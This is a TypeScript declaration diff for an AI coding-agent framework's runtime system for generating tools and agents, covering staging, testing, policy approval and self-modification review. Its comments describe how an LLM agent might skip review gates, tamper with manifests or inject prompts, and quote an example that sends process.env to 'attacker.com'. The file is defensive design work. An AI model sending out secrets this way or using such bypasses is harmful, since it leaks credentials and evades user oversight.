+ * `Runner.run(agent, input, { guardrails: [createToolResultTruncationGuardrail(ctx)] })`.
2935
+ * The built-in `runKodaX` preset dispatcher continues to call
2936
+ * `applyToolResultGuardrail` directly — no behavioural change there.
2937
+ */
2938
+
2939
+ declare const TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME = "tool-result-truncation";
2940
+ /**
2941
+ * Create a `ToolGuardrail` that delegates to `applyToolResultGuardrail` in
2942
+ * its `afterTool` hook. The returned guardrail does not touch the call
2943
+ * going in (no `beforeTool`).
2944
+ *
2945
+ * @param ctx The coding-layer execution context that
2946
+ * `applyToolResultGuardrail` needs (mutation tracker, persistence dir,
2947
+ * etc.). Typically created alongside the `KodaXOptions` for the run.
2948
+ */
2949
+ declare function createToolResultTruncationGuardrail(ctx: KodaXToolExecutionContext): ToolGuardrail;
2950
+
2951
+ /**
2952
+ * KodaX Constructed-World types (FEATURE_087, v0.7.28).
2953
+ *
2954
+ * Runtime-generated capabilities (tools / agents / skills / ...) live in
2955
+ * `.kodax/constructed/` and are loaded into the same registries as builtin
2956
+ * primitives. v0.7.28 only ships tool generation (FEATURE_088); other kinds
2957
+ * land in FEATURE_089 / FEATURE_090.
2958
+ *
2959
+ * Cross-references:
2960
+ * - DD §14 — lifecycle, security model, registry merge semantics.
2961
+ * - docs/features/v0.7.28.md — capability schema, generation flow.
2962
+ */
2963
+ /**
2964
+ * Handler script source. v0.7.28 limits language to `'javascript'` so that
2965
+ * `loadHandler()` can `await import()` the file directly without an
2966
+ * intermediate TS → JS compile step (no esbuild / tsx dependency).
2967
+ *
2968
+ * TypeScript handlers are explicitly out of scope; Coding Agent generates
2969
+ * JS strings on the wire.
2970
+ */
2971
+ interface ScriptSource {
2972
+ readonly kind: 'script';
2973
+ readonly language: 'javascript';
2974
+ readonly code: string;
2975
+ }
2976
+ /**
2977
+ * Capability declaration.
2978
+ *
2979
+ * v0.7.28 ships the single-dimension form: a whitelist of builtin tool
2980
+ * names that the handler may invoke through `ctx.tools.<name>(...)`.
2981
+ * All I/O — fs / net / env — must flow through builtin tools (`read` /
2982
+ * `write` / `bash` / etc.); handlers do not receive direct `ctx.fs` /
2983
+ * `ctx.net` / `ctx.env` entry points.
2984
+ *
2985
+ * Forward-compatible evolution: if the future demands path/domain-level
2986
+ * constraints, this can grow to `(string | { name; constraints })[]`
2987
+ * without breaking existing manifests.
2988
+ */
2989
+ interface Capabilities {
2990
+ readonly tools: readonly string[];
2991
+ }
2992
+ /**
2993
+ * Tool-kind artifact body (the `content` of `ConstructionArtifact` when
2994
+ * `kind === 'tool'`).
2995
+ */
2996
+ interface ToolContent {
2997
+ readonly description: string;
2998
+ readonly inputSchema: Record<string, unknown>;
2999
+ readonly capabilities: Capabilities;
3000
+ readonly handler: ScriptSource;
3001
+ /**
3002
+ * Per-tool timeout override. Defaults to {@link DEFAULT_HANDLER_TIMEOUT_MS}
3003
+ * when omitted. Bounded by AbortController in `loadHandler()`.
3004
+ */
3005
+ readonly timeoutMs?: number;
3006
+ }
3007
+ /**
3008
+ * Default handler timeout. Picked to match the historical ceiling on
3009
+ * builtin streaming tools (30s); revisit if a constructed tool demands
3010
+ * longer-running computation.
3011
+ */
3012
+ declare const DEFAULT_HANDLER_TIMEOUT_MS = 30000;
3013
+ /**
3014
+ * Lifecycle state on disk. Drives both the startup glob filter and the
3015
+ * `revoke()` semantics. See DD §14.1 — file system is the single source
3016
+ * of truth; no separate `_manifest.json` index file (C4 decision).
3017
+ */
3018
+ type ArtifactStatus = 'staged' | 'active' | 'revoked';
3019
+ /**
3020
+ * Reference to a tool by stable id. v0.7.31 (FEATURE_089) introduces
3021
+ * Agent manifests that bundle tool refs rather than inline tool bodies;
3022
+ * the resolver expands these refs to concrete `KodaXToolDefinition`
3023
+ * instances at activate time.
3024
+ *
3025
+ * `ref` shape:
3026
+ * - `builtin:<name>` — a tool from the static registry
3027
+ * (e.g. `builtin:read`, `builtin:bash`)
3028
+ * - `constructed:<name>@<ver>` — a previously-activated constructed tool
3029
+ */
3030
+ interface ToolRef {
3031
+ readonly ref: string;
3032
+ }
3033
+ /**
3034
+ * Reference to a Guardrail by stable id. The Layer A `Guardrail`
3035
+ * declaration is name-only (no runtime hooks); resolvers map known
3036
+ * names to constructed `ToolGuardrail` / `InputGuardrail` /
3037
+ * `OutputGuardrail` instances at activation time.
3038
+ */
3039
+ interface GuardrailRef {
3040
+ readonly kind: 'input' | 'output' | 'tool';
3041
+ readonly ref: string;
3042
+ }
3043
+ /**
3044
+ * Reference to a handoff target by stable id (another constructed agent
3045
+ * or a builtin role). The resolver expands `target.ref` to the actual
3046
+ * `Agent` declaration at admission time so the handoff DAG check
3047
+ * (`handoffLegality` invariant) sees the full graph.
3048
+ */
3049
+ interface AgentHandoffRef {
3050
+ readonly target: {
3051
+ readonly ref: string;
3052
+ };
3053
+ readonly kind: 'continuation' | 'as-tool';
3054
+ readonly description?: string;
3055
+ }
3056
+ /**
3057
+ * Reasoning profile declaration mirroring the Layer A
3058
+ * `AgentReasoningProfile`. Kept structurally identical so the resolver
3059
+ * passes the value through without re-shaping.
3060
+ */
3061
+ interface AgentReasoningRef {
3062
+ readonly default: 'quick' | 'balanced' | 'deep';
3063
+ readonly max?: 'quick' | 'balanced' | 'deep';
3064
+ readonly escalateOnRevise?: boolean;
3065
+ }
3066
+ /**
3067
+ * Sandbox test case. Used by `sandbox_test_agent` to verify a
3068
+ * constructed agent before it can activate. Each case feeds `input`
3069
+ * to a sandbox Runner instance and grades the agent's final output:
3070
+ *
3071
+ * - `expectMatch` — final text must match this regex (string form)
3072
+ * - `expectNotMatch` — final text must NOT match this regex
3073
+ * - `expectFinalText` — exact substring match (case-sensitive)
3074
+ *
3075
+ * At least one of the three expect-fields must be present; the cases
3076
+ * are graded by `runSandboxAgentTest()` (FEATURE_089 Phase 3.5).
3077
+ */
3078
+ interface AgentTestCase {
3079
+ readonly id: string;
3080
+ readonly input: string;
3081
+ readonly expectMatch?: string;
3082
+ readonly expectNotMatch?: string;
3083
+ readonly expectFinalText?: string;
3084
+ }
3085
+ /**
3086
+ * Agent-kind artifact body (the `content` of `ConstructionArtifact`
3087
+ * when `kind === 'agent'`).
3088
+ *
3089
+ * FEATURE_089 (v0.7.31): all fields except `instructions` are optional;
3090
+ * a minimal "echo agent" can be expressed as `{ instructions: '...' }`.
3091
+ * Tool / handoff / guardrail refs are resolved at admission time
3092
+ * (Runner.admit's 5-step audit expands them and feeds the resolved
3093
+ * Agent through the invariant chain).
3094
+ */
3095
+ interface AgentContent {
3096
+ readonly instructions: string;
3097
+ readonly tools?: readonly ToolRef[];
3098
+ readonly handoffs?: readonly AgentHandoffRef[];
3099
+ readonly reasoning?: AgentReasoningRef;
3100
+ readonly guardrails?: readonly GuardrailRef[];
3101
+ readonly model?: string;
3102
+ readonly provider?: string;
3103
+ /**
3104
+ * Optional structured-output schema mirroring `Agent.outputSchema`.
3105
+ * Pure pass-through to the runtime — admission does not validate
3106
+ * shape semantics here, only well-formed JSON.
3107
+ */
3108
+ readonly outputSchema?: Record<string, unknown>;
3109
+ /**
3110
+ * Optional sandbox test cases. When present, `sandbox_test_agent`
3111
+ * runs them; when absent, the test step performs only the static
3112
+ * checks (manifest schema + admission audit).
3113
+ */
3114
+ readonly testCases?: readonly AgentTestCase[];
3115
+ /**
3116
+ * Maximum total budget (iteration count) the agent may consume.
3117
+ * Plumbed onto the resolved `AgentManifest.maxBudget` and clamped by
3118
+ * `budgetCeiling` invariant during admission.
3119
+ */
3120
+ readonly maxBudget?: number;
3121
+ /**
3122
+ * Voluntary additional invariants the LLM declares this agent
3123
+ * commits to. Plumbed onto `AgentManifest.declaredInvariants`;
3124
+ * unioned on top of the required set during admission.
3125
+ */
3126
+ readonly declaredInvariants?: readonly string[];
3127
+ }
3128
+ /**
3129
+ * Persisted artifact shape (one JSON file per name/version under
3130
+ * `.kodax/constructed/<kind>s/<name>/<version>.json`).
3131
+ *
3132
+ * Discriminated union over `kind`:
3133
+ * - `kind: 'tool'` — v0.7.28 (FEATURE_088) tool generation
3134
+ * - `kind: 'agent'` — v0.7.31 (FEATURE_089) agent generation; passes
3135
+ * through `Runner.admit()` at activation time
3136
+ *
3137
+ * Lifecycle fields (status / timestamps / contentHash / sourceAgent /
3138
+ * signedBy) are common to all kinds.
3139
+ */
3140
+ type ConstructionArtifact = ToolArtifact | AgentArtifact;
3141
+ interface ConstructionArtifactBase {
3142
+ readonly name: string;
3143
+ readonly version: string;
3144
+ status: ArtifactStatus;
3145
+ readonly signedBy?: string;
3146
+ readonly createdAt: number;
3147
+ readonly sourceAgent?: string;
3148
+ testedAt?: number;
3149
+ activatedAt?: number;
3150
+ revokedAt?: number;
3151
+ /**
3152
+ * SHA-256 of `JSON.stringify(content)` captured at activate time.
3153
+ * `rehydrateActiveArtifacts()` recomputes and compares — a mismatch
3154
+ * indicates the manifest was edited between activation and the next
3155
+ * boot (naive cross-session tampering, e.g. an LLM rewriting the .json
3156
+ * via the Write tool without recomputing the hash). Mismatched
3157
+ * artifacts are skipped at rehydrate with a stderr warning. This is
3158
+ * NOT a defense against a coordinated attacker who recomputes the
3159
+ * hash; the threat model is single-user CLI integrity, not multi-user
3160
+ * supply chain.
3161
+ */
3162
+ contentHash?: string;
3163
+ }
3164
+ interface ToolArtifact extends ConstructionArtifactBase {
3165
+ readonly kind: 'tool';
3166
+ readonly content: ToolContent;
3167
+ }
3168
+ interface AgentArtifact extends ConstructionArtifactBase {
3169
+ readonly kind: 'agent';
3170
+ readonly content: AgentContent;
3171
+ }
3172
+ /**
3173
+ * Returned by {@link ConstructionRuntime.stage}; opaque handle that
3174
+ * downstream `test()` / `activate()` calls bind to.
3175
+ */
3176
+ interface StagedHandle {
3177
+ readonly artifact: ConstructionArtifact;
3178
+ readonly stagedAt: number;
3179
+ }
3180
+ /**
3181
+ * Outcome of {@link ConstructionRuntime.test}. `ok=false` blocks
3182
+ * activation; `warnings` surface but do not block.
3183
+ */
3184
+ interface TestResult {
3185
+ readonly ok: boolean;
3186
+ readonly errors?: readonly string[];
3187
+ readonly warnings?: readonly string[];
3188
+ }
3189
+ /**
3190
+ * Policy gate — invoked once per `activate()` before the artifact is
3191
+ * registered. Default rejects implicit auto-approval; the REPL surface
3192
+ * binds a dialog-based policy in `packages/repl/src/common/construction-
3193
+ * bootstrap.ts` so user approval flows through the live askUser channel.
3194
+ *
3195
+ * Modeled as a function type rather than an interface (D3 decision):
3196
+ * keeps the contract surface tiny, no class boilerplate.
3197
+ *
3198
+ * No declarative `kodax.config.ts` override hatch is provided — see the
3199
+ * "Deferred Design Decisions" section in `features/v0.7.28.md` for why
3200
+ * a `risk_mode` enum (when truly needed) is preferred over user-authored
3201
+ * policy functions.
3202
+ */
3203
+ type ConstructionPolicy = (artifact: ConstructionArtifact) => Promise<ConstructionPolicyVerdict>;
3204
+ type ConstructionPolicyVerdict = 'approve' | 'reject' | 'ask-user';
3205
+ /** Default policy: always ask the user; no implicit approvals. */
3206
+ declare const defaultPolicy: ConstructionPolicy;
3207
+ /**
3208
+ * Thrown by `CtxProxy` when handler attempts to access a tool not declared
3209
+ * in `capabilities.tools`. Caught in tracer; surfaces as a tool error.
3210
+ */
3211
+ declare class CapabilityDeniedError extends Error {
3212
+ readonly toolName: string;
3213
+ readonly declaredTools: readonly string[];
3214
+ constructor(toolName: string, declaredTools: readonly string[]);
3215
+ }
3216
+ /**
3217
+ * Thrown when a manifest cannot be parsed / is missing required fields.
3218
+ * Surfaces during stage() / startup glob; tracer records details.
3219
+ */
3220
+ declare class ConstructionManifestError extends Error {
3221
+ readonly path?: string;
3222
+ constructor(message: string, path?: string);
3223
+ }
3224
+
3225
+ /**
3226
+ * FEATURE_089 Phase 3.5 — Sandbox Agent Test Runner.
3227
+ *
3228
+ * Drives the manifest's `testCases` through `Runner.run` with an
3229
+ * isolated configuration, then grades the outputs against the per-case
3230
+ * expectations (expectMatch / expectNotMatch / expectFinalText). Used
3231
+ * by `testAgentArtifact` when a sandbox LLM callback is provided.
3232
+ *
3233
+ * Isolation approach:
3234
+ *
3235
+ * - Each case gets a fresh `Runner.run` call. No shared session or
3236
+ * transcript across cases.
3237
+ * - The agent's tools are NOT executed in the sandbox path — the
3238
+ * sandbox grades the agent's text output, not its tool invocation
3239
+ * pattern. (Tool sandboxing is its own concern; FEATURE_088
3240
+ * ConstructionRuntime already gates tool capability.)
3241
+ * - `tracer: null` is passed so sandbox runs don't pollute the
3242
+ * production trace graph.
3243
+ * - `budgetMs` provides a per-case wall-clock cap; default 30s
3244
+ * mirrors the `DEFAULT_HANDLER_TIMEOUT_MS` used for tool sandbox.
3245
+ *
3246
+ * The result aggregates per-case verdicts. Aggregate `ok` is true iff
3247
+ * every case passed; the `cases[]` array preserves order so callers
3248
+ * (TestResult renderer) can surface a granular failure summary.
3249
+ */
3250
+
3251
+ /**
3252
+ * LLM callback type accepted by the sandbox runner. Same shape as
3253
+ * `Runner.run`'s `opts.llm` so callers can either reuse their
3254
+ * production callback (with caching) or inject a deterministic mock.
3255
+ */
3256
+ type SandboxLlmCallback = (messages: readonly AgentMessage[], agent: Agent) => Promise<RunnerLlmReturn>;
3257
+
3258
+ /**
3259
+ * Provider-specific tool input_schema validation.
3260
+ *
3261
+ * Constructed tool input_schema is JSON Schema, but each LLM provider
3262
+ * accepts a different subset. KodaX builtin tool schemas were authored
3263
+ * by hand and stay within the Anthropic intersection; LLM-generated
3264
+ * constructed handler schemas need a runtime gate.
3265
+ *
3266
+ * v0.7.28 ships the `'anthropic'` validator (the main verification path).
3267
+ * Other providers fall through with a warning so the existing builtin
3268
+ * dispatch path continues to work — they just don't get schema-level
3269
+ * pre-flight checks for constructed tools.
3270
+ *
3271
+ * Reference: Anthropic public API docs and observed 4xx behavior.
3272
+ */
3273
+ type SchemaProvider = 'anthropic' | 'openai' | string;
3274
+ interface SchemaValidationResult {
3275
+ readonly ok: boolean;
3276
+ readonly errors: readonly string[];
3277
+ readonly warnings: readonly string[];
3278
+ }
3279
+ declare function validateToolSchemaForProvider(inputSchema: unknown, provider?: SchemaProvider): SchemaValidationResult;
3280
+
3281
+ /**
3282
+ * LLM-driven static review for constructed tool handlers (DD §14.5.1).
3283
+ *
3284
+ * Two-tier static check sequence:
3285
+ * 1. AST hard rules (ast-rules.ts) — cheap, deterministic, AST-precise.
3286
+ * 2. LLM review (this module) — covers semantic-level patterns that
3287
+ * AST rules cannot reasonably express (string concatenation
3288
+ * obfuscation, indirect references, capabilities/code mismatch).
3289
+ *
3290
+ * The LLM reviewer is dependency-injected via `LlmReviewClient`, so:
3291
+ * - Production wires a real KodaXClient call (Anthropic main path).
3292
+ * - Mocked-LLM tests inject a fake reviewer for verdict-dispatch
3293
+ * coverage (`.test.ts`, zero API cost).
3294
+ * - Real-LLM accuracy tests (`.eval.ts`, gated by API key) inject a
3295
+ * live client to measure precision/recall on a curated handler set.
3296
+ *
3297
+ * Verdict dispatch (handled by ConstructionRuntime.testArtifact):
3298
+ * - 'safe' → proceed to stage / activate.
3299
+ * - 'suspicious' → policy gate (caller decides; default ask-user).
3300
+ * - 'dangerous' → reject outright; do not enter policy gate.
3301
+ */
3302
+
3303
+ type LlmReviewVerdict = 'safe' | 'suspicious' | 'dangerous';
3304
+ interface LlmReviewResult {
3305
+ readonly verdict: LlmReviewVerdict;
3306
+ readonly concerns: readonly string[];
3307
+ readonly suggestedCapabilities: readonly string[];
3308
+ /** Echoed for debugging; raw text from the LLM before parse. */
3309
+ readonly raw?: string;
3310
+ }
3311
+ /**
3312
+ * Caller-injected LLM client. Receives a fully-formed prompt; returns
3313
+ * the LLM's raw response text (must include a JSON object that
3314
+ * {@link parseLlmReviewVerdict} can extract).
3315
+ *
3316
+ * Kept at this minimal shape so wiring to KodaXClient (Anthropic main
3317
+ * path), to a mock, or to a real `.eval.ts` harness all stay trivial.
3318
+ */
3319
+ type LlmReviewClient = (prompt: string) => Promise<string>;
3320
+ interface BuildPromptInput {
3321
+ readonly handlerCode: string;
3322
+ readonly capabilities: Capabilities;
3323
+ /** Optional: name@version for prompt context. */
3324
+ readonly artifactRef?: string;
3325
+ }
3326
+ /**
3327
+ * Build the review prompt. Mirrors the structure described in
3328
+ * v0.7.28.md FEATURE_088 §安全考虑 — the LLM is told it IS KodaX
3329
+ * reviewing another KodaX agent's output (commit 74d4aaa self-identity
3330
+ * propagation), with explicit capability whitelist and pattern list.
3331
+ */
3332
+ declare function buildLlmReviewPrompt(input: BuildPromptInput): string;
3333
+ /**
3334
+ * Parse a verdict JSON object out of the LLM's raw response. Tolerant
3335
+ * of surrounding prose / code fences (some models add them despite
3336
+ * instructions).
3337
+ *
3338
+ * Throws when no parseable verdict can be extracted — caller should
3339
+ * surface that as a `dangerous` outcome (defense in depth: a reviewer
3340
+ * that fails to produce a verdict cannot be trusted to clear).
3341
+ */
3342
+ declare function parseLlmReviewVerdict(raw: string): LlmReviewResult;
3343
+ /**
3344
+ * Convenience: build prompt → call client → parse verdict.
3345
+ * Errors from the client / parser bubble up unchanged.
3346
+ */
3347
+ declare function runLlmReview(input: BuildPromptInput, client: LlmReviewClient): Promise<LlmReviewResult>;
3348
+
3349
+ /**
3350
+ * FEATURE_090 (v0.7.32) — LLM-assisted diff summary for self-modify
3351
+ * activation. Replaces the divergence-score idea from the original
3352
+ * spec: instead of mechanical thresholds (Levenshtein/Jaccard/etc.)
3353
+ * with arbitrary numbers, we ask an LLM to read the prev/next pair
3354
+ * and produce a structured summary the user reviews via ask-user.
3355
+ *
3356
+ * Why LLM-as-summariser instead of LLM-as-judge:
3357
+ * The LLM only describes what changed. The user (not the LLM)
3358
+ * makes the activate / reject call. The summary is *advice* layered
3359
+ * on top of the raw diff — the ask-user surface always shows the
3360
+ * prev/next manifests verbatim, so a malicious or hallucinating
3361
+ * summariser cannot trick the user into approving something they
3362
+ * couldn't see.
3363
+ *
3364
+ * Defenses against prompt injection through the manifest itself:
3365
+ * - Structured JSON output with strict shape; non-conforming
3366
+ * responses degrade to a fixed-text fallback (`severity: 'major'`,
3367
+ * `summary: 'LLM summary unavailable …'`). The user still sees
3368
+ * the raw diff.
3369
+ * - System prompt frames the LLM as KodaX reviewing a manifest;
3370
+ * mirrors the existing `runLlmReview` (FEATURE_089) framing.
3371
+ * - The reviewer LLM and the modifying agent's LLM are
3372
+ * dependency-injected separately — callers may use a stronger
3373
+ * model for review than for execution.
3374
+ *
3375
+ * Reuses the `LlmReviewClient` type from FEATURE_089 verbatim — same
3376
+ * shape (prompt → raw text), so REPL wiring can use a single
3377
+ * KodaXClient binding for both `test_agent` static review and this
3378
+ * self-modify summary.
3379
+ */
3380
+
3381
+ /**
3382
+ * Severity tag the LLM applies to its own summary. Drives the tone
3383
+ * of the ask-user UI (a `major` change pre-selects "reject", a
3384
+ * `minor` change pre-selects "approve" — but the user still has to
3385
+ * confirm). Tied to the audit log `severity` field.
3386
+ */
3387
+ type SelfModifyDiffSeverity = 'minor' | 'moderate' | 'major';
3388
+ /**
3389
+ * Structured output emitted by `runSelfModifyDiffSummary`. The shape
3390
+ * is the contract the LLM must satisfy; deviations fall back to the
3391
+ * fixed-text "unavailable" record.
3392
+ */
3393
+ interface SelfModifyDiffSummary {
3394
+ readonly summary: string;
3395
+ readonly severity: SelfModifyDiffSeverity;
3396
+ readonly flaggedConcerns: readonly string[];
3397
+ /** Echoed for debugging; raw text from the LLM before parse. */
3398
+ readonly raw?: string;
3399
+ }
3400
+
3401
+ /**
3402
+ * ConstructionRuntime — stage / test / activate / revoke / list lifecycle
3403
+ * for runtime-generated capabilities (FEATURE_087, v0.7.28).
3404
+ *
3405
+ * Module-level singleton: KodaX runs one runtime per process. Tests
3406
+ * reset via `_resetRuntimeForTesting()`. Configuration is overridden
3407
+ * through `configureRuntime({ cwd, policy })`.
3408
+ *
3409
+ * No class boilerplate (KodaX philosophy — small focused functions). The
3410
+ * "instance state" is just two module-private variables: `_options` and
3411
+ * `_activated`. Persistence is the file system itself; no in-memory
3412
+ * artifact cache outside what TOOL_REGISTRY already holds via the
3413
+ * unregister-callback map.
3414
+ *
3415
+ * v0.7.28 Phase 1 scope:
3416
+ * - Lifecycle plumbing only.
3417
+ * - `test()` is intentionally minimal — Guardrail static check + LLM
3418
+ * review + provider schema validator land in Phase 2.
3419
+ * - Policy gate honors a `'reject'` verdict but throws on `'ask-user'`
3420
+ * because Phase 1 has no built-in user-prompt UI; callers (REPL,
3421
+ * test code) must override `constructionPolicy` to wire one.
3422
+ */
3423
+
3424
+ /**
3425
+ * Input passed to a `SelfModifyAskUser` callback when the activate
3426
+ * path detects a self-modify. Carries everything the surface needs
3427
+ * to render an informed approve/reject prompt: prev + proposed
3428
+ * manifests for raw diff, the LLM summary, and the budget snapshot.
3429
+ *
3430
+ * Kept separate from FEATURE_088's `ConstructionPolicy` shape so the
3431
+ * existing first-time-staging policy flow stays unchanged. The two
3432
+ * gates are mutually exclusive — self-modify never reaches
3433
+ * `_options.policy`.
3434
+ */
3435
+ interface SelfModifyAskUserInput {
3436
+ readonly agentName: string;
3437
+ readonly fromVersion: string;
3438
+ readonly toVersion: string;
3439
+ readonly prevContent: AgentContent;
3440
+ readonly nextContent: AgentContent;
3441
+ readonly llmSummary: SelfModifyDiffSummary;
3442
+ readonly budgetRemaining: number;
3443
+ readonly budgetLimit: number;
3444
+ }
3445
+ /**
3446
+ * Force-ask-user gate for self-modify activations. Returns the user's
3447
+ * verdict; never `'ask-user'` because by reaching this callback we
3448
+ * already know we need to ask the user. REPL surfaces wire a
3449
+ * dialog-based callback at startup; non-REPL surfaces leave this
3450
+ * undefined and self-modify activations hard-fail with a clear
3451
+ * configuration error.
3452
+ */
3453
+ type SelfModifyAskUser = (input: SelfModifyAskUserInput) => Promise<'approve' | 'reject'>;
3454
+ interface RuntimeOptions {
3455
+ /** Workspace root for `.kodax/constructed/`. Defaults to `process.cwd()`. */
3456
+ readonly cwd: string;
3457
+ /** Activation policy gate. Defaults to `defaultPolicy` (ask-user). */
3458
+ readonly policy: ConstructionPolicy;
3459
+ /**
3460
+ * FEATURE_090 — optional LLM client used for self-modify diff
3461
+ * summaries. When undefined, `runSelfModifyDiffSummary` falls back
3462
+ * to the unavailable-summary record (severity='major', user still
3463
+ * sees the raw diff). REPL bootstrap binds the same KodaXClient as
3464
+ * `test_agent`'s LLM reviewer.
3465
+ */
3466
+ readonly llmReviewer?: LlmReviewClient;
3467
+ /**
3468
+ * FEATURE_090 — force-ask-user callback for self-modify activations.
3469
+ * Required from any surface that wants self-modify to succeed; if
3470
+ * undefined, self-modify activations are rejected (matches the
3471
+ * non-interactive default for the regular policy gate).
3472
+ */
3473
+ readonly selfModifyAskUser?: SelfModifyAskUser;
3474
+ }
3475
+ declare function configureRuntime(overrides: Partial<RuntimeOptions>): void;
3476
+ /** Test-only — clears in-memory state. Does not touch the filesystem. */
3477
+ declare function _resetRuntimeForTesting(): void;
3478
+ /**
3479
+ * Persist a freshly-built artifact to `.kodax/constructed/<kind>s/<name>/<version>.json`
3480
+ * with `status: 'staged'`.
3481
+ *
3482
+ * Version immutability: if any manifest at the same name+version already
3483
+ * exists on disk (in any status — staged, active, or revoked), stage()
3484
+ * refuses to overwrite. Bumping the semver is the supported update path.
3485
+ *
3486
+ * Why "any status", not just `'active'`:
3487
+ * The handler's `.js` module is loaded via `await import(file://…)`
3488
+ * which the ESM module cache keys by absolute file URL. Re-writing
3489
+ * `<version>.js` in place leaves the cached module pointing at the
3490
+ * OLD code; subsequent loadHandler() calls return the cached export.
3491
+ * Even revoking first does not flush the cache (Node has no public
3492
+ * ESM cache eviction API). The only safe-by-construction policy is
3493
+ * "version is immutable on disk — bump semver to update."
3494
+ *
3495
+ * Lifecycle timestamp reset: `testedAt` / `activatedAt` / `revokedAt`
3496
+ * are explicitly cleared on the persisted record, even if the input
3497
+ * artifact carries them. Defends against an LLM-supplied artifact
3498
+ * pre-stamping testedAt to bypass the activate() gate.
3499
+ */
3500
+ declare function stage(artifact: ConstructionArtifact): Promise<StagedHandle>;
3501
+ /**
3502
+ * Validate a staged artifact. Runs the static-only check pipeline:
3503
+ *
3504
+ * 1. Shape sanity (kind, handler.language, capabilities.tools array).
3505
+ * 2. AST hard rules (no-eval / no-Function-constructor / require-handler-signature).
3506
+ * 3. provider schema validation (Anthropic by default — main path).
3507
+ * 4. LLM static review (only when caller injects `options.llmReviewer`).
3508
+ *
3509
+ * Verdict dispatch on LLM review:
3510
+ * - 'safe' → ok=true, no LLM-review warnings.
3511
+ * - 'suspicious' → ok=true, concerns surfaced as warnings; downstream
3512
+ * `activate()` will run the policy gate (default
3513
+ * ask-user) which can show those concerns to the user.
3514
+ * - 'dangerous' → ok=false, errors carry the LLM concerns; activate
3515
+ * will not be reachable without a fresh stage().
3516
+ *
3517
+ * IMPORTANT — handler is NOT materialized here. The earlier "materialize
3518
+ * handler to surface syntax errors" step performed `await import(file://…)`
3519
+ * BEFORE the policy gate, which executed the handler module's top-level
3520
+ * code as a side effect. AST rules cover `eval` / `Function`, but a
3521
+ * top-level `await fetch('http://attacker.com', { body: process.env })`
3522
+ * was unguarded — see DD §14.5 threat model. loadHandler() now happens
3523
+ * exclusively inside `activate()` after the policy verdict is `'approve'`,
3524
+ * making the policy gate the single chokepoint for code execution.
3525
+ *
3526
+ * The LLM reviewer is opt-in: tests and Phase 1 callers that don't pass
3527
+ * a client get the deterministic AST + schema path only.
3528
+ */
3529
+ interface TestArtifactOptions {
3530
+ /** Provider whose tool schema constraints are checked. Defaults to 'anthropic'. */
3531
+ readonly provider?: SchemaProvider;
3532
+ /** Inject a real or mock LLM client to run static review. Optional. */
3533
+ readonly llmReviewer?: LlmReviewClient;
3534
+ /**
3535
+ * FEATURE_089 Phase 3.5 — sandbox test runner LLM callback. When
3536
+ * supplied AND the artifact is `kind: 'agent'` AND `content.testCases`
3537
+ * is non-empty, `testAgentArtifact` runs each test case through
3538
+ * `Runner.run` with this callback and folds the results into
3539
+ * `TestResult.errors` / `TestResult.warnings`. When omitted, agent
3540
+ * test pipeline runs only the manifest shape + admission audit
3541
+ * — cases are skipped silently (caller's choice not to sandbox).
3542
+ */
3543
+ readonly sandboxLlm?: SandboxLlmCallback;
3544
+ /**
3545
+ * Per-case wall-clock budget for sandbox cases. Forwarded to
3546
+ * `runSandboxAgentTest`. Defaults to 30s when undefined.
3547
+ */
3548
+ readonly sandboxBudgetMs?: number;
3549
+ }
3550
+ declare function test(handle: StagedHandle, options?: TestArtifactOptions): Promise<TestResult>;
3551
+ /**
3552
+ * Activate a staged-and-tested artifact: invoke policy gate, materialize
3553
+ * the handler, register into TOOL_REGISTRY, persist `status='active'`.
3554
+ *
3555
+ * Throws `'reject'` policy verdicts as errors. `'ask-user'` requires the
3556
+ * caller to have overridden the policy (Phase 1 has no built-in prompt UI).
3557
+ *
3558
+ * Pre-conditions:
3559
+ * - artifact.testedAt must be set (test() must have run successfully).
3560
+ * Without this gate the AST/schema/LLM-review chain could be skipped
3561
+ * entirely by an LLM that calls activate_tool directly after stage_tool.
3562
+ * - artifact.status must not be 'revoked' (terminal).
3563
+ *
3564
+ * Side-effects:
3565
+ * - loadHandler() runs `await import(file://…)` AFTER policy approval.
3566
+ * The handler module's top-level code only executes once policy says
3567
+ * 'approve'. This makes the policy gate the single chokepoint for
3568
+ * code execution; the handler does not run during test().
3569
+ * - Records `contentHash = sha256(JSON.stringify(content))` so
3570
+ * rehydrate at the next boot can detect cross-session manifest
3571
+ * tampering (see ConstructionArtifact.contentHash for threat model).
3572
+ */
3573
+ declare function activate(handle: StagedHandle): Promise<void>;
3574
+ /**
3575
+ * Rehydrate every artifact whose `status === 'active'` back into
3576
+ * TOOL_REGISTRY. Called once at process startup (REPL boot). Does NOT
3577
+ * re-run policy gate — startup is restoring previously-approved state,
3578
+ * not asking for fresh approval.
3579
+ *
3580
+ * Integrity check: each artifact's `contentHash` (recorded at activate
3581
+ * time) is recomputed and compared to the persisted value. Mismatches
3582
+ * are tampered = skipped with a stderr warning. This catches naive
3583
+ * cross-session edits to the manifest JSON (e.g. an LLM rewriting the
3584
+ * file via the Write tool without recomputing the hash). Sophisticated
3585
+ * attackers who recompute the hash can bypass this — defense scoped to
3586
+ * single-user CLI integrity, not multi-tenant supply chain.
3587
+ *
3588
+ * Legacy artifacts written before contentHash existed are accepted as-is
3589
+ * (no hash to compare against) and the missing hash is back-filled on a
3590
+ * future activate() — keeps upgrades from breaking previously-approved
3591
+ * tools.
3592
+ *
3593
+ * Returns counts so callers can surface a loaded/failed/tampered banner.
3594
+ * Failures are logged (console.warn) and rehydration continues for the
3595
+ * remaining artifacts; a single bad manifest must not break boot.
3596
+ */
3597
+ declare function rehydrateActiveArtifacts(): Promise<{
3598
+ loaded: number;
3599
+ failed: number;
3600
+ tampered: number;
3601
+ }>;
3602
+ /**
3603
+ * Revoke an active constructed tool. Removes the registration from
3604
+ * TOOL_REGISTRY (the stack falls back to any prior version or builtin)
3605
+ * and flips `status` to `'revoked'` on disk. The .js source remains for
3606
+ * audit; the artifact JSON remains for history.
3607
+ *
3608
+ * Idempotent: revoking an unknown name@version is a no-op.
3609
+ */
3610
+ declare function revoke(name: string, version: string): Promise<void>;
3611
+ /**
3612
+ * List all artifacts on disk, optionally filtered by kind.
3613
+ * Returns artifacts of any status (staged / active / revoked); callers
3614
+ * that only want active should pipe through `.filter(a => a.status === 'active')`.
3615
+ */
3616
+ declare function list(kind?: ConstructionArtifact['kind']): Promise<ConstructionArtifact[]>;
3617
+ /**
3618
+ * Public lookup: read a persisted artifact by name+version. Iterates every
3619
+ * supported kind. Returns `undefined` if not found.
3620
+ *
3621
